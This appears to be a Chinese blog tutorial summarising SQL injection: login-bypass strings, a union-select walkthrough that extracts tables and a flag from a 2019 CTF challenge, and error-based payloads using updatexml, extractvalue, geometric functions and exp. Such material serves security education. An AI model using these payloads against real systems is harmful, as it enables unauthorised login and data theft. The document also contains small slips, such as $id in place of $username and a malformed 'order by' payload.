0%

sql注入总结(一)

sql注入是个很复杂的东西,这里分多篇来总结一些常见的注入姿势。

0x00 注入原理

sql注入,即通过在sql查询的过程中通过构造特殊输入,改变原有sql语句的结构,从而实现执行攻击者想要执行的sql语句。
例如,我们有如下代码:

1
2
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id=" . $id;

如果我们构造/?id=1%20or%201=1那么此时query将会变成"SELECT * FROM users WHERE id=1 or 1=1",此时where后面的语句永远为真,故sql语句成功执行,造成sql注入。

0x01 注入类型

按变量类型分类

  • 数字型
  • 字符型

按提交方式分类

  • GET型
  • POST型
  • COOKIE型

按注入方式分类

  • union联合查询注入
  • 报错注入
  • 盲注
    • 基于时间的盲注
    • 基于布尔的盲注

编码

  • 宽字节注入

0x02 万能密码

万能密码是指,在一个登录接口中如果存在sql注入,可以通过构造where子句永远为真从而实现登录。例如:

1
2
3
$username = $_GET['username'];
$password = $_GET['password'];
$query = "SELECT * FROM users WHERE username='" . $id . "'and password='" . $password . "'";

首先我们知道#--是sql语句中的注释,其中--后面需要加一个空格。这里我们巧妙构造输入/?username=admin%27%20or%201=1%20%23,这时sql语句变为"SELECT * FROM users WHERE username='admin' or 1=1 #and password=''"从而and password=''这部分内容被注释掉了,sql语句永远为真,造成sql注入。

0x03 联合查询注入

联合查询注入是一种常用的注入方式,它借助的是大于等于5.0版本的MySQL中的information_schema数据库,information_schema数据库中存储了MySQL服务器所维护的其他所有数据库的信息。例如数据库名,数据表名,列名,列的数据类型等。这时通过union关键字进行联合查询即可查询到大量信息。

举个简单的题目的例子,2019极客大挑战的一道sql注入题。(复现环境https://buuoj.cn/challenges)
拿到题目,使用1'登录,发现sql报错,故存在注入点。


这里首先尝试万能密码登录,/check.php?username=admin%27%20%23&password=123,发现成功登录,显示了登录用户名和一串密码。

将第一个查询字段的admin置为一个不存在的值[不这么做的话会无法显示union select查询出的值],然后判断列数,发现共计3列,尝试第四列则报错。

1
/check.php?username=admn%27%20order%20by%1,2,3%23&password=123
1
/check.php?username=admn%27%20order%20by1,2,3,4%23&password=123

判断一下列名对应的内容:

1
/check.php?username=admn%27%20union%20select%201,2,3%23&password=123

发现第二列对应username,第三列对应password。
下面开始union select注入。首先查数据库名。数据库名对应的是information_schema.schemata数据表,这里面存储的是所有数据库的信息。

1
/check.php?username=admn%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%23&password=123

下一步查询数据表,所有数据表名信息存储在information_schema.tables数据表中。例如查询geek数据库的数据表名:

1
/check.php?username=admn%27%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="geek"),3%23&password=123

下一步查询列名,所有列名信息存储在information_schema.columns数据表中。例如查询l0ve1ysq1表中的所有列名:

1
/check.php?username=admn%27%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema="geek"%20and%20table_name="l0ve1ysq1"),3%23&password=123
最后通过limit限制行数一行一行查询表中的内容,最终得到flag。
1
/check.php?username=admn%27%20union%20select%201,(select%20password%20from%20geek.l0ve1ysq1%20limit%2015,1),3%23&password=123

0x04 堆叠注入

堆叠注入指的是在某些情况下,后端的sql语句执行函数可以执行多条命令(例如mysqli_multi_query()),这个时候我们可以通过;来结束前一条sql语句,随后再在分号后面写入sql,从而实现“堆一堆”sql语句进行注入。而;后的语句理论上没有过滤的话则可以为所欲为。
不过堆叠注入利用的条件有限,因为一般情况下后台的sql执行函数为安全起见只允许执行单一sql,分号后的语句将会被忽略。

0x05 报错注入

报错注入一般应用在正确执行无回显,而若发生错误会显示错误的情况下。这时可以使用报错注入的方式获得数据库信息。
报错注入常用函数:

updatexml()

函数原型:UPDATEXML(XML_document, XPath_string, new_value);
第一个参数:XML_document,是String格式,是XML文档对象的名称
第二个参数:XPath_string,XPath格式的字符串
第三个参数:new_value,String格式,替换查找到符合条件的数据
函数作用:改变文档中符合条件的节点的值。
注:updatexml最多只能显示32位,需要配合substr等字符串处理函数使用。
例如:

1
http://example.com/index.php?id=1 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)

extractvalue()

函数原型:EXTRACTVALUE(XML_document, XPath_string)
参数含义同上。
举例:

1
http://example.com/index.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

几何对象

MySQL中支持的几何数据类型包括Geometry,Point,LineString,Polygon以及集合类型的MultiPoint,MultiLineString,MultiPolygon,GeometryCollection.其中Geometry可以表示任意一种几何类型,即在MySQL中,如果一个字段类型是Geometry,则可以存储Point、LineString等其它几何类型的值。其他的几种则需要固定有效的表示格式。
我们可以借助几何对象的相关函数进行报错注入。
geometrycollection():id=1 and geometrycollection((select * from(select * from(select user())a)b))
multipoint():id=1 and multipoint((select * from(select * from(select user())a)b))
polygon():id=1 and polygon((select * from(select * from(select user())a)b))
multipolygon():id=1 and multipolygon((select * from(select * from(select user())a)b))
linestring():id=1 and linestring((select * from(select * from(select user())a)b))
multilinestring():id=1 and multilinestring((select * from(select * from(select user())a)b))

exp()

例子:
id=1 and exp(~(select * from(select user())a))

OK,先总结这么多,剩下的内容下次再总结。